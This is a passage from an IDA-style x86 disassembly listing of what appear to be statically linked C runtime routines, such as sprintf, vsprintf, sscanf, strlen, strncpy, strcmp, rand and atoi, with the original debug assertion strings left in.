eax, [esi+ecx*4+1Ch] mov [edi+ecx*4+1Ch], eax mov eax, [esi+ecx*4+18h] mov [edi+ecx*4+18h], eax mov eax, [esi+ecx*4+14h] mov [edi+ecx*4+14h], eax mov eax, [esi+ecx*4+10h] mov [edi+ecx*4+10h], eax mov eax, [esi+ecx*4+0Ch] mov [edi+ecx*4+0Ch], eax mov eax, [esi+ecx*4+8] mov [edi+ecx*4+8], eax mov eax, [esi+ecx*4+4] mov [edi+ecx*4+4], eax lea eax, ds:0[ecx*4] add esi, eax add edi, eax loc_418CD7: ; CODE XREF: sub_418A00+1C2j jmp ds:off_418CE0[edx*4] ; --------------------------------------------------------------------------- align 10h off_418CE0 dd offset loc_418CF0 ; DATA XREF: sub_418A00+1B7r ; sub_418A00:loc_418BE4r ... dd offset loc_418CF8 dd offset loc_418D08 dd offset loc_418D1C ; --------------------------------------------------------------------------- loc_418CF0: ; CODE XREF: sub_418A00+1B7j ; sub_418A00:loc_418BE4j ... mov eax, [ebp+arg_0] pop esi pop edi leave retn ; --------------------------------------------------------------------------- align 4 loc_418CF8: ; CODE XREF: sub_418A00+1B7j ; sub_418A00:loc_418BE4j ... mov al, [esi+3] mov [edi+3], al mov eax, [ebp+arg_0] pop esi pop edi leave retn ; --------------------------------------------------------------------------- align 4 loc_418D08: ; CODE XREF: sub_418A00+1B7j ; sub_418A00:loc_418BE4j ... mov al, [esi+3] mov [edi+3], al mov al, [esi+2] mov [edi+2], al mov eax, [ebp+arg_0] pop esi pop edi leave retn ; --------------------------------------------------------------------------- align 4 loc_418D1C: ; CODE XREF: sub_418A00+1B7j ; sub_418A00:loc_418BE4j ... mov al, [esi+3] mov [edi+3], al mov al, [esi+2] mov [edi+2], al mov al, [esi+1] mov [edi+1], al mov eax, [ebp+arg_0] pop esi pop edi leave retn sub_418A00 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= sub_418D40 proc near ; CODE XREF: sub_40119E+8p ; sub_4013F1+8p ... arg_0 = byte ptr 4 push ecx cmp eax, 1000h lea ecx, [esp+4+arg_0] jb short loc_418D60 loc_418D4C: ; CODE XREF: sub_418D40+1Ej sub ecx, 1000h sub eax, 1000h test [ecx], eax cmp eax, 1000h jnb short loc_418D4C loc_418D60: ; CODE XREF: sub_418D40+Aj sub ecx, eax mov eax, esp test [ecx], eax mov esp, ecx mov ecx, [eax] mov eax, [eax+4] push eax retn sub_418D40 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_418D70 proc near ; CODE XREF: sub_4013F1+47p ; sub_4013F1+2A2p ... var_30 = dword ptr -30h var_2C = dword ptr -2Ch var_28 = dword ptr -28h var_24 = dword ptr -24h var_20 = byte ptr -20h arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = byte ptr 10h push ebp mov ebp, esp sub esp, 30h push ebx push esi push edi lea eax, [ebp+var_20] mov [ebp+var_24], eax lea ecx, [ebp+arg_8] mov [ebp+var_2C], ecx loc_418D85: ; CODE XREF: sub_418D70+3Dj cmp [ebp+arg_0], 0 jnz short loc_418DA9 push offset aStringNull ; "string != NULL" push 0 push 5Dh push offset aSprintf_c ; "sprintf.c" push 2 call sub_41BF80 add esp, 14h cmp eax, 1 jnz short loc_418DA9 int 3 ; Trap to Debugger loc_418DA9: ; CODE XREF: sub_418D70+19j ; sub_418D70+36j xor edx, edx test edx, edx jnz short loc_418D85 loc_418DAF: ; CODE XREF: sub_418D70+67j cmp [ebp+arg_4], 0 jnz short loc_418DD3 push offset aFormatNull ; "format != NULL" push 0 push 5Eh push offset aSprintf_c ; "sprintf.c" push 2 call sub_41BF80 add esp, 14h cmp eax, 1 jnz short loc_418DD3 int 3 ; Trap to Debugger loc_418DD3: ; CODE XREF: sub_418D70+43j ; sub_418D70+60j xor eax, eax test eax, eax jnz short loc_418DAF mov ecx, [ebp+var_24] mov dword ptr [ecx+0Ch], 42h mov edx, [ebp+var_24] mov eax, [ebp+arg_0] mov [edx+8], eax mov ecx, [ebp+var_24] mov edx, [ebp+arg_0] mov [ecx], edx mov eax, [ebp+var_24] mov dword ptr [eax+4], 7FFFFFFFh mov ecx, [ebp+var_2C] push ecx mov edx, [ebp+arg_4] push edx mov eax, [ebp+var_24] push eax call sub_41EA90 add esp, 0Ch mov [ebp+var_28], eax mov ecx, [ebp+var_24] mov edx, [ecx+4] sub edx, 1 mov eax, [ebp+var_24] mov [eax+4], edx mov ecx, [ebp+var_24] cmp dword ptr [ecx+4], 0 jl short loc_418E4F mov edx, [ebp+var_24] mov eax, [edx] mov byte ptr [eax], 0 xor ecx, ecx and ecx, 0FFh mov [ebp+var_30], ecx mov edx, [ebp+var_24] mov eax, [edx] add eax, 1 mov ecx, [ebp+var_24] mov [ecx], eax jmp short loc_418E60 ; --------------------------------------------------------------------------- loc_418E4F: ; CODE XREF: sub_418D70+BBj mov edx, [ebp+var_24] push edx push 0 call sub_41E810 add esp, 8 mov [ebp+var_30], eax loc_418E60: ; CODE XREF: sub_418D70+DDj mov eax, [ebp+var_28] pop edi pop esi pop ebx mov esp, ebp pop ebp retn sub_418D70 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= sub_418E70 proc near ; CODE XREF: sub_401A3C+DAp ; sub_401A3C+11Ep ... arg_0 = dword ptr 4 mov ecx, [esp+arg_0] test ecx, 3 jz short loc_418E90 loc_418E7C: ; CODE XREF: sub_418E70+19j mov al, [ecx] inc ecx test al, al jz short loc_418EC3 test ecx, 3 jnz short loc_418E7C add eax, 0 loc_418E90: ; CODE XREF: sub_418E70+Aj ; sub_418E70+36j ... mov eax, [ecx] mov edx, 7EFEFEFFh add edx, eax xor eax, 0FFFFFFFFh xor eax, edx add ecx, 4 test eax, 81010100h jz short loc_418E90 mov eax, [ecx-4] test al, al jz short loc_418EE1 test ah, ah jz short loc_418ED7 test eax, 0FF0000h jz short loc_418ECD test eax, 0FF000000h jz short loc_418EC3 jmp short loc_418E90 ; --------------------------------------------------------------------------- loc_418EC3: ; CODE XREF: sub_418E70+11j ; sub_418E70+4Fj lea eax, [ecx-1] mov ecx, [esp+arg_0] sub eax, ecx retn ; --------------------------------------------------------------------------- loc_418ECD: ; CODE XREF: sub_418E70+48j lea eax, [ecx-2] mov ecx, [esp+arg_0] sub eax, ecx retn ; --------------------------------------------------------------------------- loc_418ED7: ; CODE XREF: sub_418E70+41j lea eax, [ecx-3] mov ecx, [esp+arg_0] sub eax, ecx retn ; --------------------------------------------------------------------------- loc_418EE1: ; CODE XREF: sub_418E70+3Dj lea eax, [ecx-4] mov ecx, [esp+arg_0] sub eax, ecx retn sub_418E70 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_418EF0 proc near ; CODE XREF: sub_401A3C+A4p ; sub_401A3C+C9p ... var_30 = dword ptr -30h var_2C = dword ptr -2Ch var_28 = dword ptr -28h var_24 = dword ptr -24h var_20 = byte ptr -20h arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = byte ptr 14h push ebp mov ebp, esp sub esp, 30h push ebx push esi push edi lea eax, [ebp+var_20] mov [ebp+var_24], eax lea ecx, [ebp+arg_C] mov [ebp+var_2C], ecx loc_418F05: ; CODE XREF: sub_418EF0+3Dj cmp [ebp+arg_0], 0 jnz short loc_418F29 push offset aStringNull ; "string != NULL" push 0 push 5Dh push offset aSprintf_c ; "sprintf.c" push 2 call sub_41BF80 add esp, 14h cmp eax, 1 jnz short loc_418F29 int 3 ; Trap to Debugger loc_418F29: ; CODE XREF: sub_418EF0+19j ; sub_418EF0+36j xor edx, edx test edx, edx jnz short loc_418F05 loc_418F2F: ; CODE XREF: sub_418EF0+67j cmp [ebp+arg_8], 0 jnz short loc_418F53 push offset aFormatNull ; "format != NULL" push 0 push 5Eh push offset aSprintf_c ; "sprintf.c" push 2 call sub_41BF80 add esp, 14h cmp eax, 1 jnz short loc_418F53 int 3 ; Trap to Debugger loc_418F53: ; CODE XREF: sub_418EF0+43j ; sub_418EF0+60j xor eax, eax test eax, eax jnz short loc_418F2F mov ecx, [ebp+var_24] mov dword ptr [ecx+0Ch], 42h mov edx, [ebp+var_24] mov eax, [ebp+arg_0] mov [edx+8], eax mov ecx, [ebp+var_24] mov edx, [ebp+arg_0] mov [ecx], edx mov eax, [ebp+var_24] mov ecx, [ebp+arg_4] mov [eax+4], ecx mov edx, [ebp+var_2C] push edx mov eax, [ebp+arg_8] push eax mov ecx, [ebp+var_24] push ecx call sub_41EA90 add esp, 0Ch mov [ebp+var_28], eax mov edx, [ebp+var_24] mov eax, [edx+4] sub eax, 1 mov ecx, [ebp+var_24] mov [ecx+4], eax mov edx, [ebp+var_24] cmp dword ptr [edx+4], 0 jl short loc_418FCE mov eax, [ebp+var_24] mov ecx, [eax] mov byte ptr [ecx], 0 xor edx, edx and edx, 0FFh mov [ebp+var_30], edx mov eax, [ebp+var_24] mov ecx, [eax] add ecx, 1 mov edx, [ebp+var_24] mov [edx], ecx jmp short loc_418FDF ; --------------------------------------------------------------------------- loc_418FCE: ; CODE XREF: sub_418EF0+BAj mov eax, [ebp+var_24] push eax push 0 call sub_41E810 add esp, 8 mov [ebp+var_30], eax loc_418FDF: ; CODE XREF: sub_418EF0+DCj mov eax, [ebp+var_28] pop edi pop esi pop ebx mov esp, ebp pop ebp retn sub_418EF0 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_418FF0 proc near ; CODE XREF: sub_403076+39p ; sub_404C3D+2Ep ... arg_0 = dword ptr 8 push ebp mov ebp, esp call sub_41FA10 mov ecx, [ebp+arg_0] mov [eax+14h], ecx pop ebp retn sub_418FF0 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_419000 proc near ; CODE XREF: .text:loc_4021F0p ; sub_402D70+4Dp ... var_4 = dword ptr -4 push ebp mov ebp, esp push ecx call sub_41FA10 mov [ebp+var_4], eax mov eax, [ebp+var_4] mov ecx, [eax+14h] imul ecx, 343FDh add ecx, 269EC3h mov edx, [ebp+var_4] mov [edx+14h], ecx mov eax, [ebp+var_4] mov eax, [eax+14h] shr eax, 10h and eax, 7FFFh mov esp, ebp pop ebp retn sub_419000 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= sub_419040 proc near ; CODE XREF: sub_402853+5Cp ; sub_402853+9Bp ... arg_0 = dword ptr 4 arg_4 = dword ptr 8 arg_8 = dword ptr 0Ch mov ecx, [esp+arg_8] push edi test ecx, ecx jz loc_4190F4 mov edi, [esp+4+arg_0] push esi test edi, 3 push ebx jz short loc_41906A loc_41905B: ; CODE XREF: sub_419040+28j mov al, [edi] inc edi test al, al jz short loc_41909B test edi, 3 jnz short loc_41905B loc_41906A: ; CODE XREF: sub_419040+19j ; sub_419040+40j ... mov eax, [edi] mov edx, 7EFEFEFFh add edx, eax xor eax, 0FFFFFFFFh xor eax, edx add edi, 4 test eax, 81010100h jz short loc_41906A mov eax, [edi-4] test al, al jz short loc_4190A8 test ah, ah jz short loc_4190A3 test eax, 0FF0000h jz short loc_41909E test eax, 0FF000000h jnz short loc_41906A loc_41909B: ; CODE XREF: sub_419040+20j dec edi jmp short loc_4190AB ; --------------------------------------------------------------------------- loc_41909E: ; CODE XREF: sub_419040+52j sub edi, 2 jmp short loc_4190AB ; --------------------------------------------------------------------------- loc_4190A3: ; CODE XREF: sub_419040+4Bj sub edi, 3 jmp short loc_4190AB ; --------------------------------------------------------------------------- loc_4190A8: ; CODE XREF: sub_419040+47j sub edi, 4 loc_4190AB: ; CODE XREF: sub_419040+5Cj ; sub_419040+61j ... mov esi, [esp+0Ch+arg_4] test esi, 3 jnz short loc_4190C0 mov ebx, ecx shr ecx, 2 jnz short loc_41910C jmp short loc_4190DC ; --------------------------------------------------------------------------- loc_4190C0: ; CODE XREF: sub_419040+75j ; sub_419040+93j mov dl, [esi] inc esi test dl, dl jz short loc_4190FA mov [edi], dl inc edi dec ecx jz short loc_4190F0 test esi, 3 jnz short loc_4190C0 mov ebx, ecx shr ecx, 2 jnz short loc_41910C loc_4190DC: ; CODE XREF: sub_419040+7Ej ; sub_419040+CAj mov ecx, ebx and ecx, 3 jz short loc_4190F0 loc_4190E3: ; CODE XREF: sub_419040+AEj mov dl, [esi] inc esi mov [edi], dl inc edi test dl, dl jz short loc_4190F2 dec ecx jnz short loc_4190E3 loc_4190F0: ; CODE XREF: sub_419040+8Bj ; sub_419040+A1j mov [edi], cl loc_4190F2: ; CODE XREF: sub_419040+ABj pop ebx pop esi loc_4190F4: ; CODE XREF: sub_419040+7j mov eax, [esp+4+arg_0] pop edi retn ; --------------------------------------------------------------------------- loc_4190FA: ; CODE XREF: sub_419040+85j ; sub_419040+E8j mov [edi], dl mov eax, [esp+0Ch+arg_0] pop ebx pop esi pop edi retn ; --------------------------------------------------------------------------- loc_419104: ; CODE XREF: sub_419040+E4j ; sub_419040+FCj mov [edi], edx add edi, 4 dec ecx jz short loc_4190DC loc_41910C: ; CODE XREF: sub_419040+7Cj ; sub_419040+9Aj mov edx, 7EFEFEFFh mov eax, [esi] add edx, eax xor eax, 0FFFFFFFFh xor eax, edx mov edx, [esi] add esi, 4 test eax, 81010100h jz short loc_419104 test dl, dl jz short loc_4190FA test dh, dh jz short loc_419158 test edx, 0FF0000h jz short loc_419148 test edx, 0FF000000h jnz short loc_419104 mov [edi], edx mov eax, [esp+0Ch+arg_0] pop ebx pop esi pop edi retn ; --------------------------------------------------------------------------- loc_419148: ; CODE XREF: sub_419040+F4j mov [edi], dx xor edx, edx mov eax, [esp+0Ch+arg_0] mov [edi+2], dl pop ebx pop esi pop edi retn ; --------------------------------------------------------------------------- loc_419158: ; CODE XREF: sub_419040+ECj mov [edi], dx mov eax, [esp+0Ch+arg_0] pop ebx pop esi pop edi retn sub_419040 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_419170 proc near ; CODE XREF: sub_402994+2A2p ; sub_40C50A+31EBp ... arg_0 = dword ptr 8 arg_4 = byte ptr 0Ch push ebp mov ebp, esp push edi mov edi, [ebp+arg_0] xor eax, eax or ecx, 0FFFFFFFFh repne scasb inc ecx neg ecx dec edi mov al, [ebp+arg_4] std repne scasb inc edi cmp [edi], al jz short loc_419191 xor eax, eax jmp short loc_419193 ; --------------------------------------------------------------------------- loc_419191: ; CODE XREF: sub_419170+1Bj mov eax, edi loc_419193: ; CODE XREF: sub_419170+1Fj cld pop edi leave retn sub_419170 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= sub_4191A0 proc near ; CODE XREF: sub_402994+6Ep ; sub_402994+9Fp ... arg_0 = dword ptr 4 arg_4 = dword ptr 8 arg_8 = dword ptr 0Ch mov ecx, [esp+arg_8] push edi test ecx, ecx jz short loc_419223 push esi push ebx mov ebx, ecx mov esi, [esp+0Ch+arg_4] test esi, 3 mov edi, [esp+0Ch+arg_0] jnz short loc_4191C4 shr ecx, 2 jnz short loc_419231 jmp short loc_4191E5 ; --------------------------------------------------------------------------- loc_4191C4: ; CODE XREF: sub_4191A0+1Bj ; sub_4191A0+37j mov al, [esi] inc esi mov [edi], al inc edi dec ecx jz short loc_4191F2 test al, al jz short loc_4191FA test esi, 3 jnz short loc_4191C4 mov ebx, ecx shr ecx, 2 jnz short loc_419231 loc_4191E0: ; CODE XREF: sub_4191A0+8Fj and ebx, 3 jz short loc_4191F2 loc_4191E5: ; CODE XREF: sub_4191A0+22j ; sub_4191A0+50j mov al, [esi] inc esi mov [edi], al inc edi test al, al jz short loc_41921E dec ebx jnz short loc_4191E5 loc_4191F2: ; CODE XREF: sub_4191A0+2Bj ; sub_4191A0+43j mov eax, [esp+0Ch+arg_0] pop ebx pop esi pop edi retn ; --------------------------------------------------------------------------- loc_4191FA: ; CODE XREF: sub_4191A0+2Fj test edi, 3 jz short loc_419214 loc_419202: ; CODE XREF: sub_4191A0+72j mov [edi], al inc edi dec ecx jz loc_419296 test edi, 3 jnz short loc_419202 loc_419214: ; CODE XREF: sub_4191A0+60j mov ebx, ecx shr ecx, 2 jnz short loc_419287 loc_41921B: ; CODE XREF: sub_4191A0+7Fj ; sub_4191A0+F4j mov [edi], al inc edi loc_41921E: ; CODE XREF: sub_4191A0+4Dj dec ebx jnz short loc_41921B pop ebx pop esi loc_419223: ; CODE XREF: sub_4191A0+7j mov eax, [esp+4+arg_0] pop edi retn ; --------------------------------------------------------------------------- loc_419229: ; CODE XREF: sub_4191A0+A9j ; sub_4191A0+C1j mov [edi], edx add edi, 4 dec ecx jz short loc_4191E0 loc_419231: ; CODE XREF: sub_4191A0+20j ; sub_4191A0+3Ej mov edx, 7EFEFEFFh mov eax, [esi] add edx, eax xor eax, 0FFFFFFFFh xor eax, edx mov edx, [esi] add esi, 4 test eax, 81010100h jz short loc_419229 test dl, dl jz short loc_41927B test dh, dh jz short loc_419271 test edx, 0FF0000h jz short loc_419267 test edx, 0FF000000h jnz short loc_419229 mov [edi], edx jmp short loc_41927F ; --------------------------------------------------------------------------- loc_419267: ; CODE XREF: sub_4191A0+B9j and edx, 0FFFFh mov [edi], edx jmp short loc_41927F ; --------------------------------------------------------------------------- loc_419271: ; CODE XREF: sub_4191A0+B1j and edx, 0FFh mov [edi], edx jmp short loc_41927F ; --------------------------------------------------------------------------- loc_41927B: ; CODE XREF: sub_4191A0+ADj xor edx, edx mov [edi], edx loc_41927F: ; CODE XREF: sub_4191A0+C5j ; sub_4191A0+CFj ... add edi, 4 xor eax, eax dec ecx jz short loc_419291 loc_419287: ; CODE XREF: sub_4191A0+79j xor eax, eax loc_419289: ; CODE XREF: sub_4191A0+EFj mov [edi], eax add edi, 4 dec ecx jnz short loc_419289 loc_419291: ; CODE XREF: sub_4191A0+E5j and ebx, 3 jnz short loc_41921B loc_419296: ; CODE XREF: sub_4191A0+66j mov eax, [esp+0Ch+arg_0] pop ebx pop esi pop edi retn sub_4191A0 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4192A0 proc near ; CODE XREF: sub_402D70+40p ; sub_406614+274p ... var_2C = dword ptr -2Ch var_28 = dword ptr -28h var_24 = dword ptr -24h var_20 = byte ptr -20h arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = byte ptr 10h push ebp mov ebp, esp sub esp, 2Ch push ebx push esi push edi lea eax, [ebp+var_20] mov [ebp+var_24], eax lea ecx, [ebp+arg_8] mov [ebp+var_2C], ecx loc_4192B5: ; CODE XREF: sub_4192A0+3Dj cmp [ebp+arg_0], 0 jnz short loc_4192D9 push offset aStringNull ; "string != NULL" push 0 push 42h push offset aSscanf_c ; "sscanf.c" push 2 call sub_41BF80 add esp, 14h cmp eax, 1 jnz short loc_4192D9 int 3 ; Trap to Debugger loc_4192D9: ; CODE XREF: sub_4192A0+19j ; sub_4192A0+36j xor edx, edx test edx, edx jnz short loc_4192B5 loc_4192DF: ; CODE XREF: sub_4192A0+67j cmp [ebp+arg_4], 0 jnz short loc_419303 push offset aFormatNull ; "format != NULL" push 0 push 43h push offset aSscanf_c ; "sscanf.c" push 2 call sub_41BF80 add esp, 14h cmp eax, 1 jnz short loc_419303 int 3 ; Trap to Debugger loc_419303: ; CODE XREF: sub_4192A0+43j ; sub_4192A0+60j xor eax, eax test eax, eax jnz short loc_4192DF mov ecx, [ebp+var_24] mov dword ptr [ecx+0Ch], 49h mov edx, [ebp+var_24] mov eax, [ebp+arg_0] mov [edx+8], eax mov ecx, [ebp+var_24] mov edx, [ebp+arg_0] mov [ecx], edx mov eax, [ebp+arg_0] push eax call sub_418E70 add esp, 4 mov ecx, [ebp+var_24] mov [ecx+4], eax mov edx, [ebp+var_2C] push edx mov eax, [ebp+arg_4] push eax mov ecx, [ebp+var_24] push ecx call sub_41FBE0 add esp, 0Ch mov [ebp+var_28], eax mov eax, [ebp+var_28] pop edi pop esi pop ebx mov esp, ebp pop ebp retn sub_4192A0 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= sub_419360 proc near ; CODE XREF: sub_4034E9+1Dp ; sub_404CEF+FCp ... arg_0 = dword ptr 4 arg_4 = dword ptr 8 mov edx, [esp+arg_0] mov ecx, [esp+arg_4] test edx, 3 jnz short loc_4193AC loc_419370: ; CODE XREF: sub_419360+3Cj ; sub_419360+66j ... mov eax, [edx] cmp al, [ecx] jnz short loc_4193A4 or al, al jz short loc_4193A0 cmp ah, [ecx+1] jnz short loc_4193A4 or ah, ah jz short loc_4193A0 shr eax, 10h cmp al, [ecx+2] jnz short loc_4193A4 or al, al jz short loc_4193A0 cmp ah, [ecx+3] jnz short loc_4193A4 add ecx, 4 add edx, 4 or ah, ah jnz short loc_419370 mov edi, edi loc_4193A0: ; CODE XREF: sub_419360+18j ; sub_419360+21j ... xor eax, eax retn ; --------------------------------------------------------------------------- align 4 loc_4193A4: ; CODE XREF: sub_419360+14j ; sub_419360+1Dj ... sbb eax, eax shl eax, 1 inc eax retn ; --------------------------------------------------------------------------- align 4 loc_4193AC: ; CODE XREF: sub_419360+Ej test edx, 1 jz short loc_4193C8 mov al, [edx] inc edx cmp al, [ecx] jnz short loc_4193A4 inc ecx or al, al jz short loc_4193A0 test edx, 2 jz short loc_419370 loc_4193C8: ; CODE XREF: sub_419360+52j mov ax, [edx] add edx, 2 cmp al, [ecx] jnz short loc_4193A4 or al, al jz short loc_4193A0 cmp ah, [ecx+1] jnz short loc_4193A4 or ah, ah jz short loc_4193A0 add ecx, 2 jmp short loc_419370 sub_419360 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4193F0 proc near ; CODE XREF: sub_403655+19p ; sub_4083E7+1Cp ... var_2C = dword ptr -2Ch var_28 = dword ptr -28h var_24 = dword ptr -24h var_20 = byte ptr -20h arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h push ebp mov ebp, esp sub esp, 2Ch push ebx push esi push edi lea eax, [ebp+var_20] mov [ebp+var_24], eax loc_4193FF: ; CODE XREF: sub_4193F0+37j cmp [ebp+arg_0], 0 jnz short loc_419423 push offset aStringNull ; "string != NULL" push 0 push 5Ah push offset aVsprintf_c ; "vsprintf.c" push 2 call sub_41BF80 add esp, 14h cmp eax, 1 jnz short loc_419423 int 3 ; Trap to Debugger loc_419423: ; CODE XREF: sub_4193F0+13j ; sub_4193F0+30j xor ecx, ecx test ecx, ecx jnz short loc_4193FF loc_419429: ; CODE XREF: sub_4193F0+61j cmp [ebp+arg_8], 0 jnz short loc_41944D push offset aFormatNull ; "format != NULL" push 0 push 5Bh push offset aVsprintf_c ; "vsprintf.c" push 2 call sub_41BF80 add esp, 14h cmp eax, 1 jnz short loc_41944D int 3 ; Trap to Debugger loc_41944D: ; CODE XREF: sub_4193F0+3Dj ; sub_4193F0+5Aj xor edx, edx test edx, edx jnz short loc_419429 mov eax, [ebp+var_24] mov dword ptr [eax+0Ch], 42h mov ecx, [ebp+var_24] mov edx, [ebp+arg_0] mov [ecx+8], edx mov eax, [ebp+var_24] mov ecx, [ebp+arg_0] mov [eax], ecx mov edx, [ebp+var_24] mov eax, [ebp+arg_4] mov [edx+4], eax mov ecx, [ebp+arg_C] push ecx mov edx, [ebp+arg_8] push edx mov eax, [ebp+var_24] push eax call sub_41EA90 add esp, 0Ch mov [ebp+var_28], eax mov ecx, [ebp+var_24] mov edx, [ecx+4] sub edx, 1 mov eax, [ebp+var_24] mov [eax+4], edx mov ecx, [ebp+var_24] cmp dword ptr [ecx+4], 0 jl short loc_4194C8 mov edx, [ebp+var_24] mov eax, [edx] mov byte ptr [eax], 0 xor ecx, ecx and ecx, 0FFh mov [ebp+var_2C], ecx mov edx, [ebp+var_24] mov eax, [edx] add eax, 1 mov ecx, [ebp+var_24] mov [ecx], eax jmp short loc_4194D9 ; --------------------------------------------------------------------------- loc_4194C8: ; CODE XREF: sub_4193F0+B4j mov edx, [ebp+var_24] push edx push 0 call sub_41E810 add esp, 8 mov [ebp+var_2C], eax loc_4194D9: ; CODE XREF: sub_4193F0+D6j mov eax, [ebp+var_28] pop edi pop esi pop ebx mov esp, ebp pop ebp retn sub_4193F0 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4194F0 proc near ; CODE XREF: sub_4195F0+7p ; sub_42B610+8Fp ... var_14 = dword ptr -14h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp sub esp, 14h loc_4194F6: ; CODE XREF: sub_4194F0+4Ej cmp dword_442F58, 1 jle short loc_419516 push 8 mov eax, [ebp+arg_0] xor ecx, ecx mov cl, [eax] push ecx call sub_41E750 add esp, 8 mov [ebp+var_10], eax jmp short loc_41952F ; --------------------------------------------------------------------------- loc_419516: ; CODE XREF: sub_4194F0+Dj mov edx, [ebp+arg_0] xor eax, eax mov al, [edx] mov ecx, off_442D4C xor edx, edx mov dx, [ecx+eax*2] and edx, 8 mov [ebp+var_10], edx loc_41952F: ; CODE XREF: sub_4194F0+24j cmp [ebp+var_10], 0 jz short loc_419540 mov eax, [ebp+arg_0] add eax, 1 mov [ebp+arg_0], eax jmp short loc_4194F6 ; --------------------------------------------------------------------------- loc_419540: ; CODE XREF: sub_4194F0+43j mov ecx, [ebp+arg_0] xor edx, edx mov dl, [ecx] mov [ebp+var_4], edx mov eax, [ebp+arg_0] add eax, 1 mov [ebp+arg_0], eax mov ecx, [ebp+var_4] mov [ebp+var_C], ecx cmp [ebp+var_4], 2Dh jz short loc_419565 cmp [ebp+var_4], 2Bh jnz short loc_419578 loc_419565: ; CODE XREF: sub_4194F0+6Dj mov edx, [ebp+arg_0] xor eax, eax mov al, [edx] mov [ebp+var_4], eax mov ecx, [ebp+arg_0] add ecx, 1 mov [ebp+arg_0], ecx loc_419578: ; CODE XREF: sub_4194F0+73j mov [ebp+var_8], 0 loc_41957F: ; CODE XREF: sub_4194F0+E9j cmp dword_442F58, 1 jle short loc_41959B push 4 mov edx, [ebp+var_4] push edx call sub_41E750 add esp, 8 mov [ebp+var_14], eax jmp short loc_4195B0 ; --------------------------------------------------------------------------- loc_41959B: ; CODE XREF: sub_4194F0+96j mov eax, [ebp+var_4] mov ecx, off_442D4C xor edx, edx mov dx, [ecx+eax*2] and edx, 4 mov [ebp+var_14], edx loc_4195B0: ; CODE XREF: sub_4194F0+A9j cmp [ebp+var_14], 0 jz short loc_4195DB mov eax, [ebp+var_8] imul eax, 0Ah mov ecx, [ebp+var_4] lea edx, [eax+ecx-30h] mov [ebp+var_8], edx mov eax, [ebp+arg_0] xor ecx, ecx mov cl, [eax] mov [ebp+var_4], ecx mov edx, [ebp+arg_0] add edx, 1 mov [ebp+arg_0], edx jmp short loc_41957F ; --------------------------------------------------------------------------- loc_4195DB: ; CODE XREF: sub_4194F0+C4j cmp [ebp+var_C], 2Dh jnz short loc_4195E8 mov eax, [ebp+var_8] neg eax jmp short loc_4195EB ; --------------------------------------------------------------------------- loc_4195E8: ; CODE XREF: sub_4194F0+EFj mov eax, [ebp+var_8] loc_4195EB: ; CODE XREF: sub_4194F0+F6j mov esp, ebp pop ebp retn sub_4194F0 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4195F0 proc near ; CODE XREF: .text:004036B8p ; sub_403791+63p ... arg_0 = dword ptr 8 push ebp mov ebp, esp mov eax, [ebp+arg_0] push eax call sub_4194F0 add esp, 4 pop ebp retn sub_4195F0 endp ; --------------------------------------------------------------------------- align 10h push ebp mov ebp, esp sub esp, 18h push esi loc_419617: ; CODE XREF: .text:0041965Fj cmp dword_442F58, 1 jle short loc_419637 push 8 mov eax, [ebp+8] xor ecx, ecx mov cl, [eax] push ecx call sub_41E750 add esp, 8 mov [ebp-14h], eax jmp short loc_419650 ; --------------------------------------------------------------------------- loc_419637: ; CODE XREF: .text:0041961Ej mov edx, [ebp+8] xor eax, eax mov al, [edx] mov ecx, off_442D4C xor edx, edx mov dx, [ecx+eax*2] and edx, 8 mov [ebp-14h], edx loc_419650: ; CODE XREF: .text:00419635j cmp dword ptr [ebp-14h], 0 jz short loc_419661 mov eax, [ebp+8] add eax, 1 mov [ebp+8], eax jmp short loc_419617 ; --------------------------------------------------------------------------- loc_419661: ; CODE XREF: .text:00419654j mov ecx, [ebp+8] xor edx, edx mov dl, [ecx] mov [ebp-4], edx mov eax, [ebp+8] add eax, 1 mov [ebp+8], eax mov ecx, [ebp-4] mov [ebp-10h], ecx cmp dword ptr [ebp-4], 2Dh jz short loc_419686 cmp dword ptr [ebp-4], 2Bh jnz short loc_419699 loc_419686: ; CODE XREF: .text:0041967Ej mov edx, [ebp+8] xor eax, eax mov al, [edx] mov [ebp-4], eax mov ecx, [ebp+8] add ecx, 1 mov [ebp+8], ecx loc_419699: ; CODE XREF: .text:00419684j mov dword ptr [ebp-0Ch], 0 mov dword ptr [ebp-8], 0 loc_4196A7: ; CODE XREF: .text:00419717j cmp dword_442F58, 1 jle short loc_4196C3 push 4 mov edx, [ebp-4] push edx call sub_41E750 add esp, 8 mov [ebp-18h], eax jmp short loc_4196D8 ; --------------------------------------------------------------------------- loc_4196C3: ; CODE XREF: .text:004196AEj mov eax, [ebp-4] mov ecx, off_442D4C xor edx, edx mov dx, [ecx+eax*2] and edx, 4 mov [ebp-18h], edx loc_4196D8: ; CODE XREF: 